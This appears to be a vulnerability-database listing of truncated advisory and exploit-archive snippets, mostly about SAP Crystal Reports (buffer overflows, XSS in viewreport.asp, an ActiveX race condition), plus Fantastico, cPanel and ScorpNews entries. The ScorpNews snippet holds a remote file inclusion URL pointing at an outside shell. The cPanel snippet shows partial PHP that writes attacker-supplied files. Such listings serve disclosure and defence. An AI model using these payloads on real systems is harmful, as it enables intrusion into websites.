CVE-2009-3345

Heap-based buffer overflow in SAP Crystal Reports Server 2008 has unknown impact and attack vectors, as demonstrated by a certain module in VulnDisco Pack Professional 8.3 through 8.11. NOTE: as of 20090917, this disclosure has no actionable information. However, because the VulnDisco Pack author...

CVE-2009-3344

CVE-2009-3344 concerns SAP Crystal Reports Server 2008 on Windows XP with a denial-of-service condition (infinite loop) reported via VulnDisco Pack 8.3–8.11. The public disclosure includes no actionable information and does not specify the attack vectors, affected components, or a fix. Multiple s...

CVE-2009-3346

The CVE-2009-3346 entry concerns SAP Crystal Reports Server 2008 with an unspecified vulnerability that could allow remote code execution via unknown vectors, as demonstrated by VulnDisco Pack Professional versions 8.3–8.11. The description notes that, as of 2009-09-17, there is no actionable inf...

CVE-2009-3345

CVE-2009-3345 describes a heap-based buffer overflow in SAP Crystal Reports Server 2008. The vulnerability is evidenced by a module in VulnDisco Pack Professional 8.3–8.11. The Initial Description notes unknown impact and attack vectors as of disclosure, and actionability was limited at the time....

CVE-2009-3346

Unspecified vulnerability in SAP Crystal Reports Server 2008 allows remote attackers to execute arbitrary code via unknown vectors, as demonstrated by a certain module in VulnDisco Pack Professional 8.3 through 8.11. NOTE: as of 20090917, this disclosure has no actionable information. However,...

CVE-2009-3344

Unspecified vulnerability in SAP Crystal Reports Server 2008 on Windows XP allows attackers to cause a denial of service infinite loop via unknown vectors, as demonstrated by a certain module in VulnDisco Pack Professional 8.3 through 8.11. NOTE: as of 20090917, this disclosure has no actionable...

Crystal Reports viewreport.asp页面跨站脚本漏洞

BUGTRAQ ID: 34341 Crystal Reports是一种报表工具包，允许用户迅速创建灵活、特性丰富的报表，并集成到Web和Windows应用程序中。 Crystal Reports的viewreport.asp页面没有用户所提交的ID、PROMPTEX-SESSIONID、PROMPTEX-TODATE、 PROMPTEX-FROMDATE、PROMPTEX-YEARQTR1、PROMPTEX-YEARQTR2、PROMPTEX- YEARQTR3、PROMPTEX-YEARQTR4、PROMPTEX-YEARQTR5、PROMPTEX-YEARQTR6、...

Crystal Reports Cross Site Scripting

SAP BusinessObjects Crystal Reports viewreport.asp Multiple Parameter XSS - Description Cross-site scripting; vbscript rather than javascript. Subsequent page will contain pop up reading "fsckcissp". ID, PROMPTEX-SESSIONID, PROMPTEX-TODATE, PROMPTEX-FROMDATE, PROMPTEX-YEARQTR1, PROMPTEX-YEARQTR2,...

SAP Business Objects Crystal Reports 7-10 - 'viewreport.asp' Cross-Site Scripting

source: https://www.securityfocus.com/bid/34341/info SAP Business Objects Crystal Reports is prone to a cross-site scripting vulnerability. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal...

Microsoft IIS Directory Traversal Vulnerability (MS04-017) - Active Check

A directory traversal vulnerability exists in Crystal Reports and Crystal Enterprise from Business Objects that runs on Microsoft IIS which could allow information disclosure and denial of service attacks on an affected system. SPDX-FileCopyrightText: 2009 Christian Eric Edjenguele Some text...

Fantastico - index.php Local File Inclusion

Fantastico - index.php Local File Inclusion source: https://www.securityfocus.com/bid/32578/info Fantastico is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this vulnerability to view files and execute local scripts ...

cpanel-bypass.txt

Script : Cpanel 11.x bug : language.php edite file exploit=Cpanel fantastico Privilege Escalation "ModSec and PHP restriction Bypass" safemode off , modsecurity off Disable functions : All NONE ,access root folder '; fwrite$h,$prctl; fclose$h; $handle = fopen$POST'php', "w"; fwrite$handle,...

Fantastico - 'index.php' Local File Inclusion

source: https://www.securityfocus.com/bid/32578/info Fantastico is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this vulnerability to view files and execute local scripts in the context of the webserver process. Thi...

ScorpNews 1.0 - 'site' Remote File Inclusion

/news/example.php example Exploit ; http://www.example.com/example.php?site=http://shell http://www.example.com/news/example.php?site=http://shell Greetz to; .:National Security Team:. www.crystal-war.6x.to milw0rm.com 2008-05-04...

Crystal Reports Central Management Server Detection

The remote service is a Central Management Server also known as Crystal Management Server and Automated Process Scheduler, a key component of Crystal Reports Server that centralizes information about users, security levels, published objects, and servers. %NASLMINLEVEL 70300 C Tenable Network...

Race condition

Race condition in the Enterprise Tree ActiveX control EnterpriseControls.dll 11.5.0.313 in Crystal Reports XI Release 2 allows remote attackers to cause a denial of service crash and possibly execute arbitrary code via the SelectedSession method, which triggers a buffer overflow...

CVE-2008-0379

CVE-2008-0379 affects Crystal Reports XI Release 2 (Crystal Reports XI, Enterprise Tree ActiveX control in EnterpriseControls.dll 11.5.0.313). The vulnerability is a race condition in the SelectedSession method that can trigger a buffer overflow, allowing remote attackers to cause a denial of ser...

PT-2008-2012 · Business Objects · Crystal Reports Xi Release 2

Name of the Vulnerable Software and Affected Versions: Crystal Reports XI Release 2 version 11.5.0.313 Description: The issue is related to a race condition in the Enterprise Tree ActiveX control, which can be exploited by remote attackers to cause a denial of service or possibly execute arbitrar...

Crystal Reports 'EnterpriseControls.dll' ActiveX控件缓冲区溢出漏洞

BUGTRAQ ID: 27333 CNCAN ID:CNCAN-2008012103 Crystal Reports XI是一款用于专业数据报表应用程序。 Crystal Reports XI包含的ActiveX控件存在缓冲区溢出，远程攻击者可以利用漏洞以应用程序进程权限执行任意指令。 问题存在于"SelectedSession"方法中，在初始化这个组件中，在线程中存在竞争条件错误，同组件的4字节会被EIP覆盖，精心构建4字节数据，可能以应用程序进程权限执行任意指令。 Business Objects Crystal Reports XI Release 2 目前没有解决方案提供：...

crystal-dos.txt

Application: Crystal Reports XI Release 2 Enterprise Tree Control Remote BoF/Dos www.businessobjects.com Versions: 11 Platforms: Windows XP Professional Bug: buffer-overflow Exploitation: remote Date: 2007-01-16 Author: shinnai e-mail: shinnaiatautisticidotorg web: http://shinnai.altervista.org 1...